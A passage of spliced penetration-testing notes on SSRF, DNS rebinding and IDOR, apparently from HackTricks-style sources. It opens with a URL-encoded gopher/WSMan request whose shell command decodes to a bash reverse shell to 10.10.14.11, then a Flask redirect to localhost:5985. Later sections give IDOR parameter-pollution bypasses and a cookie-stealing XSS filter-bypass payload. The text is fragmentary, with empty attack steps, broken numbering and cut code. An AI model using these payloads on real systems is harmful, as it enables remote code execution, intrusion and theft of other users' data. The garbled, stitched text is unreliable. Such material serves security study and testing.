20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75
%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%5
4%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%
65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%7
5%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f
%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%
78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%7
4%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a
%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%
75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3
e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e
%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%
4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%7
2%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%2
0%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%
20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64
%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%
6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70
%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%
6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63
%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%7
3%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d
%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%
41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4
d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45
%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%
70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3
a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%
20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43
%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6
f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()
httpd.serve_forever()
app = Flask(__name__)
@app.route('/')
def root():
return
redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54
%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
Use Trickest to easily build and automate workflows powered by the world's most advanced
community tools. Get Access Today:
Trickest
DNS Rebidding CORS/SOP bypass
If you are having problems to exfiltrate content from a local IP because of CORS/SOP, DNS
Rebidding can be used to bypass that limitation:
• SSRF
• Outbound TLS sessions
• Stuff on local ports
Attack:
1. 1.
2. 2.
The TTL of the DNS is 0 sec (so the victim will check the IP of the domain
again soon)
3. 3.
A TLS connection is created between the victim and the domain of the attacker.
The attacker introduces the payload inside the Session ID or Session Ticket.
4. 4.
The domain will start an infinite loop of redirects against himself. The goal of
this is to make the user/bot access the domain until it perform again a DNS
request of the domain.
5. 5.
In the DNS request a private IP address is given now (127.0.0.1 for example)
6. 6.
The user/bot will try to reestablish the TLS connection and in order to do so it
will send the Session ID/Ticket ID (where the payload of the attacker was
contained). So congratulations you managed to ask the user/bot attack himself.
Note that during this attack, if you want to attack localhost:11211 (memcache) you need to
make the victim establish the initial connection with www.attacker.com:11211 (the port must
always be the same). To perform this attack you can use the tool:
https://github.com/jmdx/TLS-poison/ For more information take a look to the talk where this
attack is explained:
https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
Blind SSRF
The difference between a blind SSRF and a not blind one is that in the blind you cannot see the
response of the SSRF request. Then, it is more difficult to exploit because you will be able to
exploit only well-known vulnerabilities.
Cloud SSRF
Tools
SSRFMap
Tool to detect and exploit SSRF vulnerabilities
Gopherus
• MySQL
• PostgreSQL
• FastCGI
• Redis
• Zabbix
• Memcache
remote-method-guesser
remote-method-guesser is a Java RMI vulnerability scanner that supports attack operations for
most common Java RMI vulnerabilities. Most of the available operations support the --ssrf
option, to generate an SSRF payload for the requested operation. Together with the --gopher
option, ready to use gopher payloads can be generated directly.
SSRF Proxy
SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP traffic
through HTTP servers vulnerable to Server-Side Request Forgery (SSRF).
References
• https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Si
de%20Request%20Forgery
• https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-
proxy-misconfigurations/
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery
Software: https://sourceforge.net/projects/group-office/
Version: 6.4.196
Vulnerability: SSRF
CVE: CVE-2021-28060
Group Office is an open source groupware application. It makes your daily office
tasks easier. Share projects, calendars, files and e-mail online. It is a complete
solution for all your online office needs. From a customer phone call to a project and
finally an invoice. The support system helps to keep your customers happy. Group
Office is fast, secure and has privacy by design. You can stay in full control of your
data by self hosting your cloud and e-mail. Our document editing solution keeps all
data on the secured server instead of synchronising it to all user devices. GroupOffice
is open source and modular. Which means it’s easy to customise and extend. You can
turn off and on features and it enables any developer to create new modules for the
platform.
https://fatihhcelik.github.io/posts/Group-Office-CRM-SSRF/
https://portswigger.net/daily-swig/microsoft-office-online-server-open-to-ssrf-to-rce-exploit
IDOR examples
Consider a website that uses the following URL to access the customer account
page, by retrieving information from the back-end database:
https://insecure-
website.com/customer_account?customer_number=132355
Here, the customer number is used directly as a record index in queries that are
performed on the back-end database. If no other controls are in place, an
attacker can simply modify the customer_number value, bypassing access
controls to view the records of other customers. This is an example of an IDOR
vulnerability leading to horizontal privilege escalation.
IDOR vulnerabilities often arise when sensitive resources are located in static
files on the server-side filesystem. For example, a website might save chat
message transcripts to disk using an incrementing filename, and allow users to
retrieve these by visiting a URL like the following:
https://insecure-website.com/static/12144.txt
https://portswigger.net/web-security/access-control/idor
And if the application is using a hashed/ randomized ID, see if the ID is predictable. Sometimes
applications use algorithms that produce insufficient entropy, and as such, the IDs can actually
be predicted after careful analysis. In this case, try creating a few accounts to analyze how
these IDs are created. You might be able to find a pattern that will allow you to predict IDs
belonging to other users.
Additionally, it might be possible to leak random or hashed IDs via another API endpoint, on
other public pages in the application (profile page of other users, etc), or in a URL via referer.
For example, once I found an API endpoint that allows users to retrieve detailed direct
messages through a hashed conversation ID. The request kinda looks like this:
GET /api_v1/messages?conversation_id=SOME_RANDOM_ID
This seems okay at first glance since the conversation_id is a long, random, alphanumeric
sequence. But I later found that you can actually find a list of conversations for each user just
by using their user ID!
GET /api_v1/messages?user_id=ANOTHER_USERS_ID
This would return a list of conversation_ids belonging to that user. And the user_id is publicly
available on each user’s profile page. Therefore, you can read any user’s messages by first
obtaining their user_id on their profile page, then retrieving a list of conversation_ids
belonging to that user, and finally loading the messages via the API endpoint
/api_v1/messages!
GET /api_v1/messages
What about this one? Would it display another user’s messages instead?
GET /api_v1/messages?user_id=ANOTHER_USERS_ID
Although this seems to be rare and I’ve never seen it happen before, theoretically, it would
look like this. If this request fails:
GET /api_v1/messages?user_id=ANOTHER_USERS_ID
Try this:
GET /api_v1/messages?user_id=YOUR_USER_ID&user_id=ANOTHER_USERS_ID
Or this:
GET /api_v1/messages?user_id=ANOTHER_USERS_ID&user_id=YOUR_USER_ID
GET /api_v1/messages?user_ids[]=YOUR_USER_ID&user_ids[]=ANOTHER_USERS_ID
Blind IDORs
Sometimes endpoints susceptible to IDOR don’t respond with the leaked information directly.
They might lead the application to leak information elsewhere instead: in export files, emails
and maybe even text alerts.
In terms of state-changing (write) IDORs, password reset, password change, account recovery
IDORs often have the highest business impact. (Say, as compared to a “change email
subscription settings” IDOR.)
As for non-state-changing (read) IDORs, look for functionalities that handle the sensitive
information in the application. For example, look for functionalities that handle direct
messages, sensitive user information, and private content. Consider which functionalities on
the application makes use of this information and look for IDORs accordingly.
“> escaped?
and I succeeded.
It is now parsed as
“ onmo<x>useover=”alert(document[‘cookie’])”>
The filter won’t see the onmouseover event handler, but only the
html tag. It will be now saved as
“ onmouseover=”alert(document[‘cookie’])”>
I’m still not satisfied so I entered a payload that does not require
user interaction
“ onf<x>ocus=”alert(document[‘cookie’])” autofocus”>
Methodology
Once this is done, I log in to the victim account and play with
some private features (such as uploading personal
information) by passing my requests through my proxy. The first
goal here is to analyze the HTTP requests and see if a
parameter corresponds to an ID (whatever its nature)
belonging to the victim account.
My findings
{
"action":"getSaves",
"variables":{
"input":{
"infoD":"eyJ0eXBlIjoidXNlcklEIiwiaWQiOiIxODI5MDUifQ=="
}
},
"query":" (…) "
}
{"type":"userID","id":"182545"}
eyJ0eXBlIjoidXNlcklEIiwiaWQiOiIxODI1NDUifSA=
{
"action":"getSaves",
"variables":{
"input":{
"infoD":"eyJ0eXBlIjoidXNlcklEIiwiaWQiOiIxODI1NDUifSA="
}
},
"query":" (…) "
}
https://infosecwriteups.com/an-idor-vulnerability-often-hides-many-others-2893ddd0a0d7
Introduction
Example BAC:
Example IDOR:
Blind IDOR
IDOR w/ UUID
When looking for IDORs, not only are numeric IDs susceptible,
but in some cases Universal Unique Identifiers (UUIDs). A
UUID is a cryptographically generated identifier, used in a
similar way to IDs, but less vulnerable to enumeration. That
said, there is a way to find vulnerabilities.
Example:
4. Look at the Auth Analyzer matrix and see if any requests have
the SAME response.
Conclusion
https://infosecwriteups.com/tips-for-bac-and-idor-vulnerabilities-8a3e58f79d95
Where to find
How to exploit
user_id=hacker_id&user_id=victim_id
id=123
{"user_id":111}
Try this to bypass
{"id":[111]}
{"user_id":111}
Try this to bypass
{"user_id":{"user_id":111}}
{"user_id":"hacker_id","user_id":"victim_id"}
GET /file?id=302
Host: example.com
...
https://github.com/daffainfo/AllAboutBugBounty/blob/master/Insecure%20Direct%20Object
%20References.md
Apidor
Tool for automating the search for Insecure Direct Object Reference (IDOR)
vulnerabilities in web applications and APIs.
https://github.com/bm402/apidor
https://www.exploit-db.com/exploits/50260
https://www.youtube.com/watch?v=Oh1SU9kY88A&ab_channel=MotasemHamdan